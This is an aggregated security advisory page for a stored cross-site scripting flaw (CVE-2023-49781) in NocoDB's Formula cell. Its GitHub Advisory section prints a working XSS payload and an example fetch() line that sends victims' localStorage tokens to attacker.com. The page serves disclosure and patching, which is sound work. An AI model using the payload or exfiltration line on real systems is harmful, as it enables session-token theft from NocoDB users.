7.3high
NocoDB Vulnerable to Stored Cross-Site Scripting in Formula.vue
- Severity
- 7.3high CVSS:3.1 by GitHub_M
- Exploit likelihood
- 0.61% (higher than 50% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-h6r4-xvw6-jc5h
Description
NocoDB is software for building databases as spreadsheets. Prior to 0.202.9, a stored cross-site scripting vulnerability exists within the Formula virtual cell comments functionality. The nc-gui/components/virtual-cell/Formula.vue displays a v-html tag with the value of "urls" whose contents are processed by the function replaceUrlsWithLink(). This function recognizes the pattern URI::(XXX) and creates a hyperlink tag <a> with href=XXX. However, it leaves all the other contents outside of the pattern URI::(XXX) unchanged. This vulnerability is fixed in 0.202.9.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| nocodb nocodb | < 0.202.9, *, before 0.202.9 | CVE List, NVD |
| nocodb (npm) | before 0.202.9 | GitHub Advisory Database |
All scores
| GitHub_M | 7.3high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N |
| GitHub | 7.3high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N |
| NVD | 7.6high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N |
Classification
SSVC (CISA-ADP): exploitation poc, automatable no, technical impact partial.
What each source says
CVE List
NocoDB is software for building databases as spreadsheets. Prior to 0.202.9, a stored cross-site scripting vulnerability exists within the Formula virtual cell comments functionality. The nc-gui/components/virtual-cell/Formula.vue displays a v-html tag with the value of "urls" whose contents are processed by the function replaceUrlsWithLink(). This function recognizes the pattern URI::(XXX) and creates a hyperlink tag <a> with href=XXX. However, it leaves all the other contents outside of the pattern URI::(XXX) unchanged. This vulnerability is fixed in 0.202.9.
GitHub Advisory Database
Summary
A stored cross-site scripting vulnerability exists within the Formula virtual cell comments functionality.
Details
The nc-gui/components/virtual-cell/Formula.vue displays a v-html tag with the value of "urls" whose contents are processed by the function replaceUrlsWithLink(). This function recognizes the pattern URI::(XXX) and creates a hyperlink tag <a> with href=XXX. However, it leaves all the other contents outside of the pattern URI::(XXX) unchanged, which makes the evil users can create a malicious table with a formula field whose payload is <img src=1 onerror="malicious javascripts"URI::(XXX). The evil users then can share this table with others by enabling public viewing and the victims who open the shared link can be attacked.
PoC
Step 1: Attacker login the nocodb and creates a table with two fields, "T" and "F". The type of field "T" is "SingleLineText", and the type of the "F" is "Fomula" with the formula content {T} Step 2: The attacker sets the contents of T using <img src=1 onerror=alert(localStorage.getItem('nocodb-gui-v2'))URI::(XXX) Step 3: The attacker clicks the "Share" button and enables public viewing, then copies the shared link and sends it to the victims Step 4: Any victims who open the shared link in their browsers will see the alert with their confidential tokens stored in localStorage
The attackers can use the fetch(http://attacker.com/?localStorage.getItem('nocodb-gui-v2')) to replace the alert and then steal the victims' credentials in their attacker.com website.
Impact
Stealing the credentials of NocoDB user that clicks the malicious link.
NVD (es)
NocoDB es un software para crear bases de datos como hojas de cálculo. Antes de 0.202.9, existía una vulnerabilidad de Cross Site Scripting almacenado dentro de la funcionalidad de comentarios de celda virtual de Fórmula. El nc-gui/components/virtual-cell/Formula.vue muestra una etiqueta v-html con el valor de "urls" cuyo contenido es procesado por la función replaceUrlsWithLink(). Esta función reconoce el patrón URI::(XXX) y crea una etiqueta de hipervínculo <a rel="nofollow"> con href=XXX. Sin embargo, deja todos los demás contenidos fuera del patrón URI::(XXX) sin cambios. Esta vulnerabilidad está solucionada en 0.202.9.</a>
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2023-49781 changed 2024-08-02 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-h6r4-xvw6-jc5h changed 2025-08-21 | CC-BY-4.0 |
| NVD | CVE-2023-49781 changed 2026-06-17 | Public domain |